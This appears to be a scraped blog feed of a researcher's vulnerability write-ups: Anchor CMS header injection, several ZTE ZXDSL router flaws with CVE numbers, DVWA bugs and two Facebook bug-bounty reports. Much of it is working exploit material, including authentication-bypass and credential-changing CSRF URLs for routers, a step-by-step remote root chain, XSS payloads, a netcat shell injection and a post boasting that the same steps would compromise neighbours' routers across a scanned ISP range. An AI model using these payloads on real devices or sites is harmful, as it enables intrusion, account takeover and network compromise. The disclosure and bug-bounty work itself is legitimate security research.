    Anchor CMS <= 0.9.2 (Current Version) header injection in anchor/models/comment.php  <?php ... $headers  = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From: notifications@' . $_SERVER['HTTP_HOST'] . "\r\n"; 49: mail($to, __('comments.notify_subject'), $message, $headers);  ...  ?> so it  is possible to inject arbitary "From" headers or any header using CRLF. simply by tampering and changing the host to bad.com or bad.com\r\nNew-Header:Hacked! http://1337day.com/exploit/22851
    tag:blogger.com,1999:blog-8591474299777249503.post-5051534560070181134
    Extensions
    ZTE ZXDSL 831C|| Multiple Vulnerabilities
    cvefindingswebsecurity
    Show full content


    ZTE 831CII suffers from login bypass, cross site request forgery, hardcoded administrative credential, and cross site scripting vulnerabilities.
    Hardcoded administrative credential 
    In ZTE routers the username is a constant which is “admin” and the password by default is “admin”
    Insecure Direct Object Reference [CVE-2014-9184]
    ZTE ZXDSL 831CII suffers from an insecure direct object reference vulnerability that allows for authentication bypass.
    The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities.
    So requesting gateway (in this case, 192.168.1.1) would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.
    PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted) The page does not contain current password, also have no ani-CSRF token. wtf! http://192.168.1.1/userpasswd.cgi http://192.168.1.1/upload.cgi http://192.168.1.1/conprocess.cgi http://192.168.1.1/connect.cgi
    Persistent XSS [CVE-2014-9020]
     
    http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0
     
    Any user browsing to http://192.168.1.1/main.html will have a stored xss executed!

    XSS'es [CVE-2014-9021]
    TR-069 Client page: Stored. executes when users go to http://192.168.1.1/tr69cfg.html
    http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.etc.et:9090/web/tr069%27;alert%280%29;//&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0
    http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe%27;alert%280%29;//&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0
    http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe%27;alert%280%29;//&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0
    http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms%27;alert%280%29;//&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0%27;alert%280%29;//

    Time and date page (/sntpcfg.sntp) - Persistent
    http://192.168.1.1/sntpcfg.sntp?ntp_enabled=0&tmYear=2000%27lol&tmMonth=01&tmDay=01&tmHour=00&tmMinute=30&timezone_offset=+08:00&timezone=Beijing,%20Chongqing,%20Hong%20Kong,%20Urumqi%22;alert%280%29;//&use_dst=0&enblLightSaving=0

    Quick Stats page:
    192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II';alert(0);//&domainname=home&enblUpnp=1&enblLan2=0 http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0
    CSRF based Stored XSS
     http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=%27;alert%280%29;//&sysPassword=37F6E6F627B6 - letting an admin visit this link would result the admin username changed to ';alert(0);// also a stored XSS in the home page.
    Admin account override CSRF [CVE-2014-9019]
    There is no token/capcha or even current password prompt when the admin changes the password, and credentials are sent over GET. PoC: http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=F6C656269697 If an authenticated admin browses that link their credentials will become admin:yibelo UI Redressing The modem (like most modems) does not have a clickjacking protection. thus, can be used to modify settings, override admin accounts by a simple clickjack. forexample by using http://192.168.1.1/adminpasswd.html it is possible into tricking an admin submit a form with our credintials (since it doesn't require current password)
    Not Using SSL
    The modem does not use HTTPS, so anyone can use MiTM to sniff ongoing actions, possibly gain user credentials. Unrestricted privileges Anyone who is connected to the modem with Telnet or tftp is root. simply telneting and authenticating as admin:admin and typing sh and echo $USER would prove that.
    Enable Remote Access CSRF [CVE-2014-9027]
    Using this an attacker can trick an admin visit a page that tricks them into enabling remote access to the modem out side of the LAN. so an attacker can attack the modem out side the lan; then an attacker can use this to escilate the attack.
    Enable Access from web browser :80
    http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=1&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22
    Enable Access from Telnet :23
    http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22
    Enable Access from TFTP :69
    http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=0&sshport=22
    Enable Remote Access from all {80,69,161,23}
    http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22
    and what a fucked up modem I have :'( Good thing I am root.

    Exploitation from all those exploits, its easy to construct a remote root command execution exploit against any of these modems. 
    1. Make a logged in admin enable remote access for us with 
    http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22 (Only if we are outside LAN)
    2.  Go to http://192.168.1.1/adminpasswd.cgi and change admin password or copy the current one (recommended) 3.  telnet to 192.168.1.1 with the admin password and username (most likely admin:admin) and what do you know,
    4. type sh then echo $USER and become the root of the network.
    5. RULE'em ALL!
    http://packetstormsecurity.com/files/129015/ZTE-ZXDSL-831CII-Insecure-Direct-Object-Reference.html
    http://packetstormsecurity.com/files/129017/ZTE-ZXDSL-831-Cross-Site-Scripting.html
    http://packetstormsecurity.com/files/129016/ZTE-831CII-Hardcoded-Credential-XSS-CSRF.html
    Happy Hacking! :D
    tag:blogger.com,1999:blog-8591474299777249503.post-6388160123806668038
    Extensions
    ZTE ZXDSL 831 Router Exploits: Hacking and Rooting my internet neighbor
    websecurity
    Show full content
    ZTE is providing a ADSL routers in my home country. Since there is only one ISP and they are giving everyone ZTE routers when they get ADSL internet I thought looking into this would be interesting. Even though different router models are given, I was surprised to find out how similarly the software operated. After testing about 7 different ZXDSL models, I think all these bugs are present in all ZTE ZXDSL routers

    Here is how it started, I got a new DSL internet modem (ZTE ZXDSL 831 II) and after some use, I forgot my password. I couldn't connect to the internet nor could I simply go to 192.168.1.1 and change my credentials (it used Basic HTTP Auth to authenticate, so bruteforce was an option...) but I took it as a challenge and try to get inside without brute. so I download the firmware...

    It quickly turned out that not only was I able to hack it and root it, it was also very easy to hack  all the people around me (people using broadband in the country (if you know ip range ;O -- thanks to there only being one ISP and one router it uses by default)) and then write about it.

    Since I wasn't able to find a direct way to access the modem directly using the IP, I started requesting some of the pages you encounter after auth.... and turns out most of those files were returning to me without a 401 Unauthorized error (unlike the login page), which is obviously Insecure Direct Object Reference vul. I quickly realized ZTE router programmers really don't know what IDOR bugs are, almost all ZTE routers I tested after this had similar IDOR bugs letting me bypass authentication if I know the name of the page. 

    note that the modem comes with admin:admin password credentials, which is enough info to pwn people using the known IP range. But for those that change their default ssh/telnet and http logins, we need a different bug.

    IDOR 1: Allows Root RCE

    requesting http://<router-IP>/upload.cgi didn't throw up a 401 error. it just gives the upload page, Insecure Direct Object Reference. awesome! Here, we can upload a new firmware for the router. We can add a malicious binary/shell.in the squashfs file of the firmware and upload it, granting us persistent root access.

    IDOR 2: Information Disclosure
    Another bug I found was awesome, requesting http://<router-IP>/pppoe.cgi would turn out the pppoe password and username when you view source. oouch!


    IDOR 3: Authentication Bypass
    If an attacker, who is NOT authenticated requests http://<router-IP>/resetrouter.cgi the router would reset all settings to factory mode without any confirmation or warning.
    So the root password for ssh, and HTTP interface become admin:admin again, yay!

    When I port scanned it using nmap -sV 192.168.1.1 and it returned
    ...
    23/tcp   open   telnet  ZXDSL 831CII ADSL modem telnetd 5.2.0a_E29_ET
    ...

    While SSH is disabled by default, looks like telnet isn't. and it looks like the default username and password works. After telneting we are greeted with a terrible shell. but if you type "sh" suddenly you are greeted with a busy box shell.

    # cat /proc/cpuinfo
    system type             : 96338L-2M-8M
    processor               : 0
    cpu model               : BCM6338 V1.0
    BogoMIPS                : 239.20
    wait instruction        : no
    microsecond timers      : yes
    tlb_entries             : 32
    extra interrupt vector  : yes
    hardware watchpoint     : no
    unaligned access                : 1289794
    VCED exceptions         : not available
    VCEI exceptions         : not available

    Dead performance!

    So I did, "cat /proc/meminfo" (6MB it holds), then "cat /proc/version" and it returned
    ...
    Linux version 2.6.8.1 (root@host.domain.com)
    ...

    Even though there was a public local exploit to that kernel simply typing "echo $USER" revealed I was always root. no need to root shit. Simple as that.

    going to, http://192.168.1.1/menu_status.html gives public ip address of the router without auth. (aside from lots of easier ways), it was 10.136.0.16 (obvioulsy not the real IP)

    so lets scan my IP range to see what we find "nmap --open -sS -sV -T4 10.136.*.*/24 -p 80 -oG - | grep 'open' "

    and quickly found out at least 4800 other routers online. You know its ez:
    1. Attacker goes to https://<router-ip>/resetrouter.cgi2. telnet <router-ip> admin:admin3. pwn!
    Well, that was a fun recovery time!


    Happy Hacking!
    Edit: btw I contacted ZTE and they said they will make better routers in the future, and will not be realizing patches for these modules.

    Conclusion: ZTE makes bad routers, most "different models" run the same services, similar holes. it wasnt built in having security in mind. run if you see one! dont buy it! sue me!

    and ya, disable remote logins to telnet, http etc. ;)
    tag:blogger.com,1999:blog-8591474299777249503.post-92002360916861180
    Extensions
    DVWA: Unintended Security Issues
    bypasscvephpwebsecurity
    Show full content

    Hacking the Hackers
    So your friend have DB-UUA? & you want to hack his ass?? :P
    Here is the exploit link: http://pastebin.com/A7WV5MbK 
    “Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment…” 


    Well, basically it helps you learn about web security. It has 3 levels of security. Low, Medium and High. The “High” level is the secure considered level (it is supposed to be the secure version of ‘em all and not to be passed to teach the secure implementation of web applications for developers).
    DVWA 1.0.x (The version I just installed) includes Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, Blind SQLi, Upload, XSS Stored and Reflected vulnerabilities to be played with. Aside from those I believe there are some unintended security problems with the application itself even in the “High”est level.
    Command Execution
    This is an attacker perspective.
    There is a .htacess file for DVWA not to be accessed other than locally. And also there is a command execution challenge. It is possible to execute commands in the challenge using inputs like 127.0.0.1;ls –la. Imagine an attacker who knows you have DVWA want to execute commands remotely in your PC. But that won’t be possible since there is a .htaccess file permiting them from accessing your.ip.address/dvwa. But imagine if the attacker craft a CSRF for you to execute commands in the challenge. 

    The fact that there is no anti-CSRF token in the command execution challenge puts you’re server in danger while browsing sites contain scripts like this if you are using low and medium level “127.0.0.1;netcat –l 155.10.15.1 –p 4444” will allow the attacker to get a shell connection back to you using your PHP server.
    But, if you use the high level, the above payload won’t work since it’s secure. Hmm. so the attacker needs to craft another CSRF for you to change your challenge level to low or medium, since there is still no anti-CSRF token in /security.php , why?? Lol. Anyway, Good for us. We will craft scripts like
    That will make your challenge level to “low” and open a port back to the attackers PC. But DVWA gives you session cookies for one IP. So localhost and your IP (x.x.x.x) won’t have same cookies. Meaning, even if the victim is logged in, our CSRF won’t work because we use they use their IP (which is unlikely they are logged in other than using localhost).
    So imagine the victim is not logged in, have different password than default. And there is also that IP problem. It’s hard to create command execution now. Harder but not impossible, because there is no token in /setup.php too. Why? Lol. Now we make the user reset their database (which also resets password) in case they change it back other than the default value “password”. Then now we know the admin new password and username is reset back to admin and password for password.
    Now we make the victim login using our default new password and username since there is no login token too. Nice.
    Now we have a 99% success rate to get shell when victim visit our CSRF link once we automate the  process.
    For testing I just add each csrf to csrf1.php csrf2.php… respectively and I added an auto submitter for all of them. Then I created one file called all.php then I framed all of them with 0 width and  0 height for the pixel to be hidden while submittion… so all.php submits all the 4 csrfs and get us a shell when victim visit our link (all.php). which is awesome because anyone who have dvwa is shitty doomed! Lol So Finally with Tabor Nekatebeb we created a JavaScript exploit for the working exploit and upload it to packet-storm http://packetstormsecurity.com/files/128253/DVWA-Cross-Site-Request-Forgery.html
    Unintended L/RFI

    /vulnerabilities/view_source.php?id=csrf&security=../../../config/config.inc
    XSS in the upload section.
    DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution}) But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.
    That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become 
    “$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests) Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like <a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image,
    there will still be XSS. It is often recommended to give uploaded files computer generated names.

    The fact that Ajax can’t make external HTTP request prior to the Same-Origin Policy for XMLHTTPRequest make the exploit self only. But using HTML and Javascript you can create a working exploit to own anyones ass. ;P we did that to stop skids using this to hack your elite ass just for having DVWA. 
    Local File Disclosure
    vulnerabilities/view_help.php doesn’t sanitize user input before giving a page help preview. Thus, leading to Local File Disclosure. PoC: http://localhost/dvwa/vulnerabilities/view_help.php?id=../index.php%0.0&security=shittylow
    (Note: if magic_quote_gpc is enabled than the null byte() will get converted to /0, implying that the attack will fail)
    but we can still exploit this with Path Truncation.


    XSS in the upload section.
    DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution}) But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS. That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become “$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)
    Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like
    <a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image, there will still be XSS. It is often recommended to give uploaded files computer generated names.
    XSS in viewsource.php
    PoC: http://localhost/dvwa/vulnerabilities/view_source.php?id=shit%22%3E%3Cscript%3Ealert%280%29;%3C/script%3E&security=low
    Self-XSS setup.php The setup.php contains the following code.

    And DVWA explain the dvwaPageReload() function in the else statement as

    So if we go to http://localhost/dvwa/setup.php/”><script>alert(0);</script>
    And if somehow two of the if and elseif checks fail the dvwaPageReload Redirection happen with dvwaMessagePush() thus our payload “><script>alert(0);</script> being executed. J
    Bonus
    In the beginning I wrote “DB-UUA” as you were expecting DVWA so you probably are wondering if it’s a typo lol. Well if you made it this far, you deserve a little break why, B sounds better than V. and the UU is W. it have history you know, W is called Double U because long ago people use to write two U’s and say look homie… a W. So UU is W. uutf right?
    And ya, there are lots of FPDs
    Login.php:           Login[$shit]=1&password=password&username=admin Login=Login=Login&password[]=password&username=admin Login=Login=Login&password=password&username[]=admin
    http://localhost/dvwa/vulnerabilities/sqli/?idrenamed=ds&Submit=Submit#
    http://localhost/dvwa/vulnerabilities/view_source_all.php
    http://localhost/dvwa/vulnerabilities/view_help.php
    tag:blogger.com,1999:blog-8591474299777249503.post-8137790089299793722
    Extensions
    Facebook Bug Bounty 2014, Reflected XSS and Filter Evasion worth 7500$
    bugbountywebsecurity
    Show full content

    This is the second part of the series on how I found an XSS in Facebook. I wrote about the first
    bug here. It was a Linkshim evasion and URL redirection bug. I used “../http://site.com” in the
    continue parameter for redirection, bypassing the Linkshim and I explained how there.
    After Facebook triaged my bug, promised me a 1000$ bounty and after fixing the issue, I
    realized something. The bug could have been a cross-site scripting issue. How? well, I don't
    know how the hell I missed this in the first place but when you give Linkshim “../http://site.com”
    to sanitize, the parameter renders the following code (first bug)
    <a href=”http://site.com”>Continue</a>
    You know what that means, if I gave it:

    “../data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K#” it will become,
    <a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K#”>

    For those of you who can’t do base64 decode in your head, that is equivalent to
    “<script>alert(“XSS”);</script>” and I put the hash (#) tag behind to make sure other parameters
    following it can be ignored as not a part of the Base64
    Or simply by giving the parameter “../javascript:alert(0);//”, that will create a code
    <a href=”javascript:alert(0);//”>Continue</a>
    The above href attribute is properly sanitized and converted into entities. But since both the functions
    htmlentities() and htmlspecailchars()  don’t filter the above payload it was possible to execute a
    reflective XSS when a user clicked the Continue button. And the final payload would look
    something like
    https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&
    confirm=h&continue=../javascript:alert(0);&perm&no_fw=1&_rdr
    Makes me wonder what I can do with it, stil da qawkies? Lmao.
    So simple and yet effective. I reported this after the URL redirection has been fixed (making it
    impossible to verify the XSS) but FB security was kind enough to understand the issue this
    could’ve made and reconsider the first bounty to 2 type of injections in one parameter
    (XSS, Open Redirection / Linkshim Evade) and raise the bounty up to 7500$.

    I would like to thank Facebook for the generous amount and for launching the white hat program.
    Conclusion
    Watch out for XSS on redirection.



    tag:blogger.com,1999:blog-8591474299777249503.post-8882159210075182219
    Extensions
    Facebook Bug Bounty 2014: Linkshim Evasion and URL Redirection
    bugbountywebsecurity
    Show full content
    Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
    An unaware user is most probably tricked by attackers to a malware site or a phishing site and gets infected by various types of attacks like leading to complete system compromise. This is caused because of improperly sanitized user redirect script or similar cases. Such attacks can be classified into many ways and some found on huge social media sites like Facebook.
    Recently I was browsing through Facebook mobile (m.facebook.com) and I found a notification that a friend tagged me into a post… well the post wasn’t that interesting so I decided to hide it. When clicking on hide I notice the URL parameter contained a parameter called ‘continue’ followed by stories.php


    https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=stories.php&perm&no_fw=1&_rdr
    so I figured that can lead to a URL redirection if I changed the continue parameter to something like http://evilzone.org but the Linkshim was rechecking and returning it back to m.facebook.com/http://evilzone.org so the redirection wasn’t successful but then I noticed that parameter can be tricked using path transversal tricks like ../
    So when I gave the url parameter something like &continue=../http://evilzone.org I was able to bypass the Linkshim and get a successful redirection to Evilzone.org (which by the way is a blocked link by Facebook) So the full parameter for redirection including the Linkshim evasion was
    https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=../http://evilzone.org&perm&no_fw=1&_rdr
    And none of the other parameters needs to be accurate; the story_fbid and id parameters can be any number so we don’t need victim’s special parameters to execute redirection.

    Now the issue have been fixed and Facebook has promised to reward me with 1000$USD for this bug. I would like to thank the Facebook Security Team so much for their cool support and generous amount. 
    tag:blogger.com,1999:blog-8591474299777249503.post-6953480081640345640
    Extensions
    It Begins.
    aboutpersonal
    Show full content





    tag:blogger.com,1999:blog-8591474299777249503.post-4599922942886822097
    Extensions